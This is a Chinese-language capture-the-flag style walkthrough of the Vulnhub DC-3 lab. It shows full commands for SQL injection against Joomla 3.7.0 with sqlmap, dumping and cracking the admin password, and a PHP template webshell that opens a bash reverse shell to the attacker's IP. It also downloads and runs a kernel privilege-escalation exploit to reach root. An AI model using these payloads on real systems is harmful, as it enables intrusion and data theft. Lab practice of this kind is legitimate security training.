Vulhub靶场介绍:
Vulhub是一个专注于安全漏洞复现与学习的开源项目,它提供了一系列常见漏洞的复现环境,帮助安全从业者学习和研究漏洞利用技术。这些复现环境包括但不限于Web应用、容器、操作系统等。
Vulhub的特点包括:
- 丰富的漏洞场景: Vulhub涵盖了多种常见的漏洞场景,包括Web应用漏洞(如SQL注入、XSS等)、容器漏洞(如Docker安全配置)、操作系统漏洞等。
- 详细的漏洞复现指南: 对于每个漏洞场景,Vulhub提供了详细的漏洞复现指南,包括环境搭建、漏洞利用过程等步骤,方便用户学习和实践。
- 易于使用的环境搭建: Vulhub提供了一键部署或Docker镜像的方式,使用户可以快速搭建漏洞复现环境,节省了配置环境的时间。
- 持续更新与维护: Vulhub项目在GitHub上开源,得到了全球安全社区的贡献与反馈,保持了良好的更新与维护。
总的来说,Vulhub为安全从业者提供了一个学习漏洞利用技术的良好平台,帮助他们提升安全意识和技能。
Vulnhub靶机下载:
官网下载地址:https://download.vulnhub.com./dc/DC-3-2.zip
Vulnhub靶机环境搭建:
下载压缩包之后解压,然后使用VMware 或者Oracle打开打开即可
Vulnhub靶机DC-4渗透过程:
1)信息收集
靶机与kali网络模式均为nat模式
通过使用kali扫描工具发现靶机IP地址
Kali:192.168.94.134
DC-3:192.168.94.193
arp-scan -l
2) 端口信息探测
nmap -sS -A -n 192.168.94.193
──(root㉿Kali)-[~/Desktop] └─# nmap -sS -A -n 192.168.94.193 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-10 19:36 CST Nmap scan report for 192.168.94.193 Host is up (0.00052s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: Joomla! - Open Source Content Management |_http-title: Home |_http-server-header: Apache/2.4.18 (Ubuntu) MAC Address: 00:0C:29:3D:06:25 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.51 ms 192.168.94.193 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.90 seconds
探测靶机开放了80端口,访问试试,发现存在一个joomla的cms存在。
3) 渗透测试过程
在web页面做了许多功夫,扫描出后台登录系统,但是通过注入、弱口令、等密码爆破均无用。
dirsearch -u http://192.168.94.193/ -x 404 403 502
于是在网上找了需求,找到了一个joomla的扫描器->joomscan,
joomscan -u http://192.168.94.193
使用joomscan扫描发现了joomla的版本号为:Joomla 3.7.0
尝试在kali漏洞库当中搜索版本为Joomla 3.7.0的漏洞源码攻击方式,于是给找到了漏洞存在的URL 以及构造攻击的payload
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27 Using Sqlmap: sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
通过sqlmap注入,发现了以下几种库,于是通过分析得知joomladb是我们的目标,接着跑表格列,发现_user列
sqlmap -u "http://192.168.94.193/index.phpoption=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
sqlmap -u "http://192.168.94.193/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
最后爆破name、username、password字段的内容
sqlmap -u "http://192.168.94.193/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "name,password,username" --dump -p list[fullordering]
得到用户与密码
admin;$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
得知密码为加密过的,于是进行解密,使用john工具进行解密出密码
admin:snoopy,使用账户密码成功登录系统
这里呢因为我之前看过joomla类似的文章,可以找到它的Templates模板,并且这个目录也是存在joomla的跟目录当中,所以可以在此创建文件上传反弹shell的木马进行点击触发。
Extensions -> Templates ->Templates
<?php
system ("bash -c 'bash -i >& /dev/tcp/192.168.94.134/4444 0>&1'");
?>
kali当中进行监听nc -lvnp 4444
nc -lvnp 4444
浏览器中访问该目录,触发木马反弹shell
触发木马url:http://192.168.94.193/templates/beez3/test.php
4)权限提升
查看系统的版本为 Ubuntu 16.04 LTS
回到kali漏洞库中查找对应的提权源码,查找到39772.txt的提权源码
searchsploit Ubuntu 16.04
于是查看39772.txt发现在文中告知了可以使用溢出提权(exp提权),并提供了提权工具,以及使用方法,使用wget进行工具下载。
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
下载成功后进行解压,然后在当中发现了exploit.tar包
那么现在的问题在于如何把提权源码上传至靶机当中,那么我在这里使用Python在此目录当中开启http服务,靶机直接进行wget下载
python -m http.server 8090
wget http://192.168.94.134:8090/exploit.tar
在靶机当中解压exploit.tar
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh
./doubleput
先运行compile.sh文件,那么会自动编译doubleput文件,最后执行doubleput文件,等待10s左右,即可提权到root权限
总结心得:
首先
信息收集:要清楚存在joomscan的扫描器扫描出joomla的cms版本
渗透测试:通过版本号在kali的漏洞库中查找相对应的payload进行sql注入攻击,sqlmap跑出了账号密码之后,成功登录系统,在joomla cms中找到上传点上传反弹shell木马返回kali当中。
权限提升:查看系统的发行版本号,在searchsploit查找相对应版本的提权源码,使用Python创建http服务,靶机进行下载漏洞提权源码,最后进行提权!
至此,DC3就被拿下啦!